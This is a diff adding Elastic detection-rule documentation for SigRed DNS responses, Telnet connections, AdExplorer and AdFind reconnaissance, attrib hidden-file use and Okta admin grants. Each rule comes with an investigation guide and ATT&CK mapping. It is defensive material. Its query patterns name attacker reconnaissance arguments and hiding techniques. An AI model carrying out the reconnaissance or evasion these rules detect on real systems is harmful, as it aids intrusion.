diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-abnormally-large-dns-response.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-abnormally-large-dns-response.asciidoc new file mode 100644 index 0000000000..3fa5589b8d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-abnormally-large-dns-response.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-21-abnormally-large-dns-response]] +=== Abnormally Large DNS Response + +Specially crafted DNS requests can manipulate a known overflow vulnerability in some Windows DNS servers, resulting in Remote Code Execution (RCE) or a Denial of Service (DoS) from crashing the service. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* filebeat-* +* logs-network_traffic.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/ +* https://msrc-blog.microsoft.com/2020/07/14/july-2020-security-update-cve-2020-1350-vulnerability-in-windows-domain-name-system-dns-server/ +* https://github.com/maxpl0it/CVE-2020-1350-DoS +* https://www.elastic.co/security-labs/detection-rules-for-sigred-vulnerability + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Tactic: Impact +* Resources: Investigation Guide +* Use Case: Vulnerability + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Abnormally Large DNS Response* + + +Detection alerts from this rule indicate possible anomalous activity around large byte DNS responses from a Windows DNS server. This detection rule was created based on activity represented in exploitation of vulnerability (CVE-2020-1350) also known as https://www.elastic.co/blog/detection-rules-for-sigred-vulnerability[SigRed] during July 2020. + + +*Possible investigation steps* + + +- This specific rule is sourced from network log activity such as DNS or network level data. It's important to validate the source of the incoming traffic and determine if this activity has been observed previously within an environment. +- Activity can be further investigated and validated by reviewing any associated Intrusion Detection Signatures (IDS) alerts. +- Further examination can include a review of the `dns.question_type` network fieldset with a protocol analyzer, such as Zeek, Packetbeat, or Suricata, for `SIG` or `RRSIG` data. +- Validate the patch level and OS of the targeted DNS server to validate the observed activity was not large-scale internet vulnerability scanning. +- Validate that the source of the network activity was not from an authorized vulnerability scan or compromise assessment. + + +*False positive analysis* + + +- Based on this rule, which looks for a threshold of 60k bytes, it is possible for activity to be generated under 65k bytes and related to legitimate behavior. In packet capture files received by the https://isc.sans.edu/forums/diary/PATCH+NOW+SIGRed+CVE20201350+Microsoft+DNS+Server+Vulnerability/26356/[SANS Internet Storm Center], byte responses were all observed as greater than 65k bytes. +- This activity can be triggered by compliance/vulnerability scanning or compromise assessment; it's important to determine the source of the activity and potentially allowlist the source host. + + +*Related rules* + + +- Unusual Child Process of dns.exe - 8c37dc0e-e3ac-4c97-8aa0-cf6a9122de45 +- Unusual File Modification by dns.exe - c7ce36c0-32ff-4f9a-bfc2-dcb242bf99f9 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Ensure that you have deployed the latest Microsoft https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1350[Security Update] (Monthly Rollup or Security Only) and restarted the patched machines. If unable to patch immediately, Microsoft https://support.microsoft.com/en-us/help/4569509/windows-dns-server-remote-code-execution-vulnerability[released] a registry-based workaround that doesn’t require a restart. This can be used as a temporary solution before the patch is applied. +- Maintain backups of your critical systems to aid in quick recovery. +- Perform routine vulnerability scans of your systems, monitor https://us-cert.cisa.gov/ncas/current-activity[CISA advisories] and patch identified vulnerabilities. +- If you observe a true positive, implement a remediation plan and monitor host-based artifacts for additional post-exploitation behavior. + + +==== Rule query + + +[source, js] +---------------------------------- +((event.category:(network or network_traffic) and destination.port:53) + or network.protocol:"dns" + or data_stream.dataset:(network_traffic.dns or zeek.dns)) + and destination.bytes > 60000 + and event.type:("allowed" or "end" or "protocol" or "start") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Exploitation of Remote Services +** ID: T1210 +** Reference URL: https://attack.mitre.org/techniques/T1210/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Endpoint Denial of Service +** ID: T1499 +** Reference URL: https://attack.mitre.org/techniques/T1499/ +* Sub-technique: +** Name: Application or System Exploitation +** ID: T1499.004 +** Reference URL: https://attack.mitre.org/techniques/T1499/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-accepted-default-telnet-port-connection.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-accepted-default-telnet-port-connection.asciidoc new file mode 100644 index 0000000000..e2b00c1356 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-accepted-default-telnet-port-connection.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-21-accepted-default-telnet-port-connection]] +=== Accepted Default Telnet Port Connection + +This rule detects network events that may indicate the use of Telnet traffic. Telnet is commonly used by system administrators to remotely control older or embedded systems using the command line shell. It should almost never be directly exposed to the Internet, as it is frequently targeted and exploited by threat actors as an initial access or backdoor vector. As a plain-text protocol, it may also expose usernames and passwords to anyone capable of observing the traffic. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* auditbeat-* +* filebeat-* +* logs-network_traffic.* +* logs-panw.panos* +* logs-fortinet_fortigate.log-* +* logs-sonicwall_firewall.log-* +* logs-suricata.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* Use Case: Threat Detection +* Tactic: Command and Control +* Tactic: Lateral Movement +* Tactic: Initial Access +* Data Source: PAN-OS +* Data Source: Fortinet +* Data Source: SonicWall +* Data Source: Suricata +* Resources: Investigation Guide + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Accepted Default Telnet Port Connection* + + +Telnet, a protocol for remote command-line access, is often used in legacy systems. Its lack of encryption makes it vulnerable, allowing attackers to intercept credentials or use it as a backdoor. The detection rule identifies unencrypted Telnet traffic on port 23, flagging connections that bypass typical security measures, thus highlighting potential unauthorized access attempts. + + +*Possible investigation steps* + + +- Review the network traffic logs to identify the source IP address associated with the Telnet connection on port 23. Determine if the source IP is internal or external to the organization. +- Check the destination IP address to ascertain if it belongs to a critical system or a legacy device that might still use Telnet for management purposes. +- Investigate the timeline of the connection event to see if there are any patterns or repeated attempts, which could indicate a persistent threat or automated attack. +- Analyze any associated user accounts or credentials used during the Telnet session to verify if they are legitimate and authorized for remote access. +- Correlate the Telnet connection event with other security alerts or logs to identify any related suspicious activities, such as failed login attempts or unusual data transfers. +- Assess the network segment where the Telnet traffic was detected to determine if it is appropriately segmented and secured against unauthorized access. +- Consider implementing network security measures, such as disabling Telnet on devices or replacing it with secure alternatives like SSH, to prevent future unauthorized access attempts. + + +*False positive analysis* + + +- Legacy systems or devices that require Telnet for management may trigger alerts. To manage this, create exceptions for specific IP addresses or subnets known to host these systems. +- Internal network monitoring tools that use Telnet for legitimate purposes might be flagged. Identify these tools and exclude their traffic from the rule to prevent unnecessary alerts. +- Lab environments or test networks where Telnet is used for educational or testing purposes can cause false positives. Implement network segmentation and apply exceptions to these environments to reduce noise. +- Automated scripts or maintenance tasks that utilize Telnet for routine operations may be mistakenly identified. Document these tasks and whitelist their associated traffic patterns to avoid false alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any active Telnet sessions on the affected system to disrupt potential attacker activities. +- Conduct a thorough review of system logs and network traffic to identify any unauthorized access or data manipulation that may have occurred. +- Change all credentials that may have been exposed through Telnet traffic, prioritizing those with administrative privileges. +- Implement network segmentation to restrict Telnet access to only necessary internal systems, ensuring it is not exposed to the internet. +- Deploy encryption protocols such as SSH to replace Telnet for remote command-line access, enhancing security for remote management. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the need for additional security measures. + +==== Rule query + + +[source, js] +---------------------------------- +(data_stream.dataset:(fortinet_fortigate.log or network_traffic.flow + or sonicwall_firewall.log or suricata.eve or panw.panos) + or event.category:(network or network_traffic)) + and event.type:(connection and not end) and not event.action:( + flow_dropped or flow_denied or denied or deny or + flow_terminated or timeout or Reject or network_flow) + and destination.port:23 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-active-directory-discovery-using-adexplorer.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-active-directory-discovery-using-adexplorer.asciidoc new file mode 100644 index 0000000000..2fed3489b1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-active-directory-discovery-using-adexplorer.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-21-active-directory-discovery-using-adexplorer]] +=== Active Directory Discovery using AdExplorer + +This rule detects the use of ADExplorer utility. Active Directory Explorer (AD Explorer) is an advanced Active Directory (AD) viewer and editor. AD Explorer also includes the ability to save snapshots of an AD database for off-line viewing and comparisons. Adversaries may abuse this utility to perform domain reconnaissance. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/sysinternals/downloads/adexplorer + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Active Directory Discovery using AdExplorer* + + +Active Directory Explorer (AD Explorer) is an advanced Active Directory (AD) viewer and editor. AD Explorer also includes the ability to save snapshots of an AD database for off-line viewing and comparisons. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Verify any file creation, this may indicate the creation of an AD snapshot. +- Identify when the AdExplorer binary was dropped and by what process reviewing file creation events. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. + + +*False positive analysis* + + +- This rule has a high chance to produce false positives as it is a legitimate tool used by system administrators. +- If this rule is noisy in your environment due to expected activity, consider adding exceptions — preferably with a combination of user and process path conditions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "ADExplorer*.exe" or ?process.pe.original_file_name == "AdExp") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Network Configuration Discovery +** ID: T1016 +** Reference URL: https://attack.mitre.org/techniques/T1016/ +* Technique: +** Name: Remote System Discovery +** ID: T1018 +** Reference URL: https://attack.mitre.org/techniques/T1018/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Domain Groups +** ID: T1069.002 +** Reference URL: https://attack.mitre.org/techniques/T1069/002/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Domain Account +** ID: T1087.002 +** Reference URL: https://attack.mitre.org/techniques/T1087/002/ +* Technique: +** Name: Domain Trust Discovery +** ID: T1482 +** Reference URL: https://attack.mitre.org/techniques/T1482/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-adding-hidden-file-attribute-via-attrib.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-adding-hidden-file-attribute-via-attrib.asciidoc new file mode 100644 index 0000000000..95963f5fc6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-adding-hidden-file-attribute-via-attrib.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-21-adding-hidden-file-attribute-via-attrib]] +=== Adding Hidden File Attribute via Attrib + +Adversaries can add the 'hidden' attribute to files to hide them from the user in an attempt to evade detection. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Persistence +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 320 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Adding Hidden File Attribute via Attrib* + + +The `Hidden` attribute is a file or folder attribute that makes the file or folder invisible to regular directory listings when the attribute is set. + +Attackers can use this attribute to conceal tooling and malware to prevent administrators and users from finding it, even if they are looking specifically for it. + +This rule looks for the execution of the `attrib.exe` utility with a command line that indicates the modification of the `Hidden` attribute. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Examine the command line to identify the target file or folder. + - Examine the file, which process created it, header, etc. + - If suspicious, retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Examine the host for derived artifacts that indicate suspicious activities: + - Observe and collect information about the following activities in the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "attrib.exe" or ?process.pe.original_file_name == "ATTRIB.EXE") and process.args : "+h" and + not (process.parent.name: "cmd.exe" and process.command_line: "attrib +R +H +S +A *.cui") and + + not ( + process.parent.name: "draw.io.exe" and + ( + process.command_line : ("*drawio.bkp*", "*drawio.dtmp*") + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: File and Directory Permissions Modification +** ID: T1222 +** Reference URL: https://attack.mitre.org/techniques/T1222/ +* Sub-technique: +** Name: Windows File and Directory Permissions Modification +** ID: T1222.001 +** Reference URL: https://attack.mitre.org/techniques/T1222/001/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Hidden Files and Directories +** ID: T1564.001 +** Reference URL: https://attack.mitre.org/techniques/T1564/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-adfind-command-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-adfind-command-activity.asciidoc new file mode 100644 index 0000000000..fbab23cad6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-adfind-command-activity.asciidoc @@ -0,0 +1,164 @@ +[[prebuilt-rule-8-19-21-adfind-command-activity]] +=== AdFind Command Activity + +This rule detects the Active Directory query tool, AdFind.exe. AdFind has legitimate purposes, but it is frequently leveraged by threat actors to perform post-exploitation Active Directory reconnaissance. The AdFind tool has been observed in Trickbot, Ryuk, Maze, and FIN6 campaigns. For Winlogbeat, this rule requires Sysmon. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* http://www.joeware.net/freetools/tools/adfind/ +* https://thedfirreport.com/2020/05/08/adfind-recon/ +* https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html +* https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware +* https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html +* https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 318 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AdFind Command Activity* + + +http://www.joeware.net/freetools/tools/adfind/[AdFind] is a freely available command-line tool used to retrieve information from Active Directory (AD). Network discovery and enumeration tools like `AdFind` are useful to adversaries in the same ways they are effective for network administrators. This tool provides quick ability to scope AD person/computer objects and understand subnets and domain information. There are many https://thedfirreport.com/category/adfind/[examples] of this tool being adopted by ransomware and criminal groups and used in compromises. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Examine the command line to determine what information was retrieved by the tool. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. + + +*False positive analysis* + + +- This rule has a high chance to produce false positives as it is a legitimate tool used by network administrators. +- If this rule is noisy in your environment due to expected activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- Malicious behavior with `AdFind` should be investigated as part of a step within an attack chain. It doesn't happen in isolation, so reviewing previous logs/activity from impacted machines can be very telling. + + +*Related rules* + + +- Windows Network Enumeration - 7b8bfc26-81d2-435e-965c-d722ee397ef1 +- Enumeration of Administrator Accounts - 871ea072-1b71-4def-b016-6278b505138d +- Enumeration Command Spawned via WMIPrvSE - 770e0c4d-b998-41e5-a62e-c7901fd7f470 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "AdFind*.exe" or ?process.pe.original_file_name == "AdFind.exe") and + process.args : ("objectcategory=computer", "(objectcategory=computer)", + "objectcategory=person", "(objectcategory=person)", + "objectcategory=subnet", "(objectcategory=subnet)", + "objectcategory=group", "(objectcategory=group)", + "objectcategory=organizationalunit", "(objectcategory=organizationalunit)", + "objectcategory=attributeschema", "(objectcategory=attributeschema)", + "domainlist", "dcmodes", "adinfo", "dclist", "computers_pwnotreqd", "trustdmp") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Network Configuration Discovery +** ID: T1016 +** Reference URL: https://attack.mitre.org/techniques/T1016/ +* Technique: +** Name: Remote System Discovery +** ID: T1018 +** Reference URL: https://attack.mitre.org/techniques/T1018/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Domain Groups +** ID: T1069.002 +** Reference URL: https://attack.mitre.org/techniques/T1069/002/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Domain Account +** ID: T1087.002 +** Reference URL: https://attack.mitre.org/techniques/T1087/002/ +* Technique: +** Name: Domain Trust Discovery +** ID: T1482 +** Reference URL: https://attack.mitre.org/techniques/T1482/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-administrator-privileges-assigned-to-an-okta-group.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-administrator-privileges-assigned-to-an-okta-group.asciidoc new file mode 100644 index 0000000000..2a23bcbe18 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-administrator-privileges-assigned-to-an-okta-group.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-21-administrator-privileges-assigned-to-an-okta-group]] +=== Administrator Privileges Assigned to an Okta Group + +Detects when an administrator role is assigned to an Okta group. An adversary may attempt to assign administrator privileges to an Okta group in order to assign additional permissions to compromised user accounts and maintain access to their target organization. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://help.okta.com/en/prod/Content/Topics/Security/administrators-admin-comparison.htm +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 414 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Administrator Privileges Assigned to an Okta Group* + + +Okta is a widely used identity management service that facilitates secure user authentication and access control. Administrator privileges in Okta allow users to manage settings and permissions, making them a target for adversaries seeking persistent access. Malicious actors may exploit these privileges by assigning them to groups, thereby extending elevated access to compromised accounts. The detection rule monitors system events for privilege grants to groups, flagging potential unauthorized privilege escalations. + + +*Possible investigation steps* + + +- Review the event logs for entries with event.dataset:okta.system and event.action:group.privilege.grant to identify the specific group and administrator role assigned. +- Identify the user account that initiated the privilege grant action and verify if the account has a history of suspicious activity or if it has been compromised. +- Check the membership of the affected Okta group to determine which user accounts have gained elevated privileges and assess if any of these accounts are unauthorized or compromised. +- Investigate recent activities of the affected group members to identify any unusual or unauthorized actions that may indicate malicious intent. +- Review the organization's change management records to confirm if the privilege assignment was part of an approved change request or if it was unauthorized. +- If unauthorized activity is confirmed, initiate incident response procedures to revoke the unauthorized privileges and secure the affected accounts. + + +*False positive analysis* + + +- Routine administrative tasks may trigger alerts when legitimate IT staff assign administrator roles to groups for maintenance or updates. To manage this, create exceptions for known IT personnel or scheduled maintenance windows. +- Organizational changes such as mergers or department restructuring might require temporary privilege escalations. Document these changes and adjust the detection rule to exclude these specific events during the transition period. +- Automated scripts or third-party integrations that manage group permissions could inadvertently trigger false positives. Identify these scripts and whitelist their actions within the monitoring system to prevent unnecessary alerts. +- Training or onboarding sessions where temporary admin access is granted to groups for demonstration purposes can cause alerts. Ensure these sessions are logged and recognized as non-threatening to avoid false positives. + + +*Response and remediation* + + +- Immediately revoke the administrator privileges assigned to the Okta group to prevent further unauthorized access or privilege escalation. +- Conduct a thorough review of recent group membership changes and privilege assignments in Okta to identify any other unauthorized modifications. +- Isolate and investigate any user accounts that were part of the affected group to determine if they have been compromised. +- Reset passwords and 